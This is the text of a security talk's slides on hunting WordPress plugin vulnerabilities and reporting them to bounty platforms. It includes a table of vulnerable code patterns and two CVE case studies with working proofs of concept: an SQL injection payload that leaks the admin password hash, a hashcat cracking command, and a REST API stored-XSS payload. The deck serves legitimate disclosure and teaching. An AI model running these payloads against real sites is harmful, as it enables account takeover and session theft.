Hunting 0-Days in the
WordPress Ecosystem

From Curiosity to CVE A Practical Guide


Alaaeddine Knani · Offensive Security Engineer · ODDO BHF

Who Am I


Alaaeddine Knani
Offensive Security Engineer @ ODDO BHF
Code Review / Pentest

used to be a CTF enjoyer (RIP free time)

What We'll Cover


1. Why WordPress is a goldmine for bug hunters
2. Tools and methodology: from zero to first finding
3. Using AI to speed everything up
4. Vulnerability patterns to look for
5. How to report: Patchstack vs Wordfence (and how they pay)
6. Two real CVEs I found: code, PoC, and the story behind them


45 minutes. By the end you have a methodology you can run tonight.

Why WordPress?


43% of all websites run WordPress 60,000+ plugins in the official repo
10M+ Elementor active installs Open source the code is right there
  • Huge real-world impact per bug millions of live sites affected
  • Free targets, free code to read no recon beyond SVN checkout
  • Disclosure platforms assign CVEs and pay bounties
  • Enormous variety: SQLi, XSS, SSRF, auth bypass, LFI all in PHP
  • Page builder addon ecosystems are historically under-audited

Plugins Are the Weak Link


WordPress core is hardened. Plugins are written by everyone.

Layer Written by Security Maturity
WordPress Core Core team + community ● HIGH
Popular plugins Dedicated companies ● MEDIUM
Niche plugins Solo devs / freelancers ● LOW
Page builder addons Anyone inherits trust ● VERY LOW

⚠ The Elementor ecosystem is the hunting ground. Addon plugins assume Elementor sanitizes their widget attributes. It doesn't.

Disclosure Programs


Platform CVE Authority Bounty Best For
Wordfence MITRE CNA Yes High-confidence findings
Patchstack Patchstack CNA Yes Full ecosystem coverage
WPScan Yes No Credit / exposure
HackerOne Depends Varies Plugin-specific programs

Both Wordfence and Patchstack are CVE Numbering Authorities they assign CVE IDs directly.

Don't contact the developer directly. Use the platforms they handle coordinated disclosure and protect you.

5 Steps from Zero to CVE

Hunt → Clone → Scan → Dig → Report

Step 0: Setting Up Your Research Lab (1/2)


Local environment - never test on live sites

npx @wordpress/env start          # Docker-based, cleanest option
# OR: Local WP (localwp.com)     # GUI, fastest setup

wp-config.php - enable everything for research:

define( 'WP_DEBUG',         true );   // show PHP errors
define( 'WP_DEBUG_LOG',     true );   // log to /wp-content/debug.log
define( 'WP_DEBUG_DISPLAY', true );   // display errors on screen
define( 'SCRIPT_DEBUG',     true );   // use unminified JS/CSS
define( 'SAVEQUERIES',      true );   // log all DB queries
define( 'ALLOW_UNFILTERED_UPLOADS', true ); // allow any file type upload

Step 0: Setting Up Your Research Lab (2/2)


Grant unfiltered_html to Contributor - required to test stored XSS from low-priv accounts, since WordPress strips scripts/iframes for Contributors by default:

// add to functions.php of your test theme
add_action( 'init', function() {
    $role = get_role( 'contributor' );
    $role->add_cap( 'unfiltered_html' );
});

Test users to create: admin · editor · author · contributor · subscriber

Research plugins: Query Monitor · Debug Bar · User Role Editor · WP-CLI

Source: Wordfence Research Series Setting Up Your Lab

Step 1: Hunt + AI-Assisted Target Selection


A good target: 100K+ installs · recent feature additions · widget/REST/AJAX input handling

AI Prompt Target Selection:

You are a WP security researcher. Rank these plugins for audit:
1. New user input handling in recent changes?
2. Widget/shortcode systems with user-controlled attributes?
3. REST endpoints, AJAX handlers, or dynamic queries?
4. Changelog mentions "fix", "sanitize", or "security"?

Return: ranked list + specific feature to audit first.
Plugins: [PASTE LIST + CHANGELOGS HERE]

💡 SVN diff between versions = fastest way to spot silent security patches

Step 2 & 3: Clone, Recon & Scan


# Clone from WordPress.org SVN
svn checkout https://plugins.svn.wordpress.org/happy-elementor-addons/

# Diff two versions spot silent security fixes
svn diff https://plugins.svn.wordpress.org/PLUGIN/tags/3.20.4 \
         https://plugins.svn.wordpress.org/PLUGIN/tags/3.20.6

# Map all entry points
grep -rn "register_rest_route\|wp_ajax\|add_shortcode" . --include="*.php"

# Run Semgrep WordPress ruleset
semgrep --config p/wordpress ./plugin-folder/

Start from entry points, not from the top of the file.
REST routes, AJAX handlers, shortcodes that's where user input enters.

Step 4: Key Vulnerability Patterns


Code Pattern Bug Class Severity What to look for
$wpdb->query("...".$var."...") SQLi ● HIGH Raw concat instead of $wpdb->prepare()
echo $settings['attr'] Stored XSS ● MEDIUM No esc_html/esc_attr before output
'permission_callback'=>'__return_true' Auth Bypass ● HIGH REST route open to everyone, even guests
wp_remote_get($_GET['url']) SSRF ● MEDIUM User controls the URL, use wp_safe_remote_get
wp_verify_nonce() missing CSRF ● MEDIUM State-changing action with no nonce check
unserialize($_COOKIE['data']) Object Injection ● CRITICAL Any unserialize() on user-controlled input
current_user_can() missing Privilege Esc. ● HIGH Subscriber/contributor doing admin-only actions

Rule: user input → sensitive sink with no sanitization in between = candidate.

Semgrep Rule Example: Detecting SQLi


Here is an example rule that catches raw string concatenation inside $wpdb->query():

rules:
  - id: wordpress-sqli-wpdb-query  # unique name for this rule
    languages: [php]               # target language
    severity: ERROR                # how loud semgrep shouts when it matches
    message: "Possible SQLi: $wpdb->query() called with unsanitized input. Use $wpdb->prepare()."
    patterns:
      - pattern: $wpdb->query("..." . $VAR . "...")  # match: string + variable concat
      - pattern-not: $wpdb->query($wpdb->prepare(...))  # ignore already-safe calls
    metadata:
      cwe: CWE-89       # maps to the official SQLi weakness ID
      confidence: HIGH  # tells your triage pipeline how noisy this rule is
semgrep --config my-rules/sqli.yaml ./plugin-folder/

AI Prompts Quick Reference


# Prompt Goal What to Ask
1 Target selection Paste changelogs → risk ranking + feature to audit
2 Semgrep rule gen "Write a Semgrep rule for WP plugins detecting [vuln type]"
3 Code review "Review this PHP file for SQLi, XSS, auth bypass, CSRF, SSRF"
4 Reverse a patch "Analyze this SVN diff what was vulnerable, write me a PoC"

⚠ AI accelerates. It does not replace manual verification.
Every finding must have a working PoC before you report it.

The Toolkit

Free tools. Runs on your laptop.

Tools: Recon, Static & Dynamic Analysis


Tool Category Purpose
WPScan Recon Scan live WP sites for known plugin vulns
SVN CLI Recon Browse plugin history, diff versions
Patchstack DB / Wordfence Intel Recon Past CVEs + vulnerable code references
Semgrep p/wordpress + p/php Static Pattern-match PHP for WP-specific issues
RIPS / Sonar PHP Static Deep data-flow analysis (paid)
Burp Suite Dynamic Intercept, modify, replay HTTP requests
SQLMap Dynamic Automate SQL injection exploitation
WP-CLI + Local WP Environment Spin up local WP, install vulnerable versions

⚠ Never test on live sites always use a local environment.

Case Study 1

CVE-2025-68999

Second-Order SQL Injection · Happy Addons for Elementor
CVSS 8.5 HIGH · Author+ · Reported via Patchstack · Affects ≤ 3.20.4 · Patched 23 Jan 2026
400,000+ active installs

CVE-2025-68999: What Is the Bug?


The "Happy Clone" feature lets users duplicate posts. When cloning, the plugin copies all custom fields, including the field name (meta_key). That name goes straight into the database query without any sanitization.

// VULNERABLE: Happy Clone copies post meta like this (≤ 3.20.4)
foreach ( $meta_data as $meta ) {
    $wpdb->query(
        "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value)
         VALUES ($new_post_id, '$meta[meta_key]', '$meta[meta_value]')"
    );  // $meta[meta_key] is raw user input, never escaped
}
// FIXED (3.20.6): $wpdb->prepare() sanitizes all values
$wpdb->query( $wpdb->prepare(
    "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES (%d, %s, %s)",
    $new_post_id, $meta['meta_key'], $meta['meta_value']
));

This is a second-order SQL injection: the payload is stored first, then fires when the clone runs.

CVE-2025-68999: Proof of Concept (1/2)


Requirements: Author account · reported 24 Dec 2025, patched 23 Jan 2026

  1. Install Happy Addons ≤ 3.20.4, login as Author
  2. Create a post, publish it
  3. Enable Custom Fields via Preferences → Panels
  4. Add a custom field with this as the Name:
pwned', (SELECT user_pass FROM wp_users LIMIT 1)), (9999, 'x

What this payload does: it breaks out of the INSERT statement. The plugin builds:

INSERT INTO wp_postmeta (post_id, meta_key, meta_value)
VALUES (18, '[YOUR INPUT]', 'anything')

Our input closes the first row, injects a second row with SELECT user_pass as the value, then opens a dummy third row to keep the SQL syntax valid.

CVE-2025-68999: Proof of Concept (2/2)


  1. Set Value to anything, save the post
  2. Go to Posts list → hover → click Happy Clone
  3. Open the cloned post → check Custom Fields
Field name:  pwned
Field value: $wp$2y$12$x1s.cgWAvlI2rDdCYPE9hOGrfxpetXqYckI5mTg13N4iIlJ4TEccy

Admin hash in the database. No error. No alert.

Crack it offline:

hashcat -m 400 hash.txt rockyou.txt

Impact: full admin takeover · all user hashes readable · CVSS 8.5 HIGH

Case Study 2

CVE-2026-2600

Stored XSS · ElementsKit Elementor Addons
CVSS 6.4 MEDIUM · Contributor+ · Reported via Wordfence · Affects ≤ 3.7.9
2,000,000+ active installs

CVE-2026-2600: What Is the Bug?


Plugin: ElementsKit Elementor Addons · 2M+ active installs

The Simple Tab widget lets users build tabbed content. Each tab has a title (ekit_tab_title). That title is stored inside Elementor's post meta (_elementor_data) and rendered on the frontend without any HTML escaping.

// VULNERABLE: tab title echoed raw (≤ 3.7.9)
echo '<div class="ekit-tab-title">' . $tab['ekit_tab_title'] . '</div>';
// FIXED (3.8.0): sanitized before output
echo '<div class="ekit-tab-title">' . esc_html( $tab['ekit_tab_title'] ) . '</div>';

The twist: you don't inject through the Elementor editor UI.
You inject directly through the WordPress REST API, writing raw JSON into _elementor_data.
Any Contributor can do this on their own posts.

CVE-2026-2600: Proof of Concept (1/2)


Requirements: Contributor account · any published post

  1. Login as Contributor, create and publish a post, note the post ID
  2. Open browser DevTools console (F12) and paste:
fetch('/wp-json/wp/v2/posts/18', {   // REST API: update post by ID
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-WP-Nonce': wpApiSettings.nonce  // nonce available to every logged-in user
  },
  body: JSON.stringify({ meta: {
    _elementor_data: '[... "ekit_tab_title":"<img src=x onerror=alert(document.domain)>" ...]',
    _elementor_edit_mode: "builder"  // tells Elementor to render as page builder
  }})
})

CVE-2026-2600: Proof of Concept (2/2)


Why it works:

  • The REST API accepts post meta updates from any Contributor
  • The Elementor editor UI sanitizes on save - but we never go through the editor
  • We write raw JSON directly into _elementor_data in the database
  • When the page renders, ekit_tab_title is echoed with no esc_html() - browser executes it
  1. Visit the post on the frontend, payload fires for every visitor

Impact: session hijacking · admin takeover · site defacement · CVSS 6.4 MEDIUM

Where Do You Report?

Patchstack vs Wordfence: how each one works

Patchstack: You Compete for a Monthly Prize Pool


Every month, Patchstack puts at least $8,800 on the table and splits it between the top researchers.

You earn XP points for every valid bug you report. XP decides your rank. Rank decides your payout.

How your XP is calculated:

Factor Example Multiplier
CVSS score (how bad the bug is) Score 8.0 base
How many sites use the plugin 500K installs x4
Who can trigger it No login needed x2
Type of bug SQL Injection x2

One good unauthenticated SQLi in a popular plugin = a lot of XP

Minimum CVSS to qualify: 6.5 (low severity bugs are not accepted)

Patchstack: Monthly Prizes + Level System


Every month the prize pool is shared like this:

Rank Prize
1st place $2,000
2nd place $1,400
3rd place $800
4th and 5th $500 – $600
6th to 20th $100 – $400
Random pick outside top 20 $50

You also unlock annual level rewards (Level 1 to 12) based on total XP:
Level 1 = $50 bonus  ·  Level 12 = $5,000 bonus  ·  Levels reset every January

Special "Zeroday" bounties for critical bugs: up to $33,000 for unauthenticated full site compromise

Paid via PayPal, 30 days after the month ends

Wordfence: You Report, They Pay You Directly


No competition. No ranking. No waiting for a prize pool.

You find a bug → you submit it → Wordfence reviews it → you get paid.

How they decide how much to pay you:

Factor What it means
CVSS score Higher score = more money
Active installs More sites affected = more money
Exploitability Easier to exploit = more money
Real-world impact Can an attacker actually use this?

Maximum payout: $31,200 per bug
Minimum CVSS to qualify: 4.0 (they accept lower severity than Patchstack)

Paid every 2 weeks via PayPal (1st and 15th of each month)

Patchstack vs Wordfence: Quick Comparison


Patchstack Wordfence
How you get paid Monthly competition, ranked by XP Direct per bug, no competition
Minimum CVSS 6.5 4.0 (accepts more bugs)
Max single payout $33,000 (zeroday program) $31,200
CVE assigned by Patchstack (fast) MITRE CNA
When you get paid 30 days after month ends Every 2 weeks (1st & 15th)
Best for Many bugs, consistent monthly income One high-impact find
Submit at patchstack.com/report wordfence.com/threat-intel/vulnerabilities/submit

Both give you a CVE, a Hall of Fame listing, and public credit.
You can submit the same bug to only one. Pick based on severity and your strategy.

Disclosure Timeline & What You Get


When What Happens
Day 0 Submit report + PoC
Day ~7 Platform triages, contacts plugin author
Day ~30 Patch shipped by developer
Day ~45 Update live on WordPress.org
Day ~60 CVE published your name in the advisory
Day 60+ Bounty paid · Hall of Fame · publish write-up

What you get: CVE ID · Bounty ($500–$2,000+ for critical) · Hall of Fame · Real portfolio
Long term: "I reported CVEs in 2M-install plugins" hits harder than any certification.

Your 30-Day Action Plan


Week Goal Actions
1 Set up Install Local WP, WP-CLI, Semgrep, Burp Suite. Read 10 past advisories.
2 First scan Pick 3 Elementor addons (50K+ installs). Run semgrep p/wordpress. Triage hits.
3 First finding Dig into most promising result. Use AI prompts. Build a PoC locally.
4 Report If real → submit to Patchstack or Wordfence. If not → pick the next target.

Resources: wordfence.com/blog · patchstack.com/articles · semgrep.dev/p/wordpress · localwp.com
Submit: wordfence.com/threat-intel/vulnerabilities/submit · patchstack.com/report

Thank You


Alaaeddine Knani · Offensive Security Engineer · ODDO BHF

knaniaalaeddine@gmail.com · linkedin.com/in/knani-alaaeddine · folks-iwd.github.io

"The code is open source. The bugs are already there. The question is whether you find them first."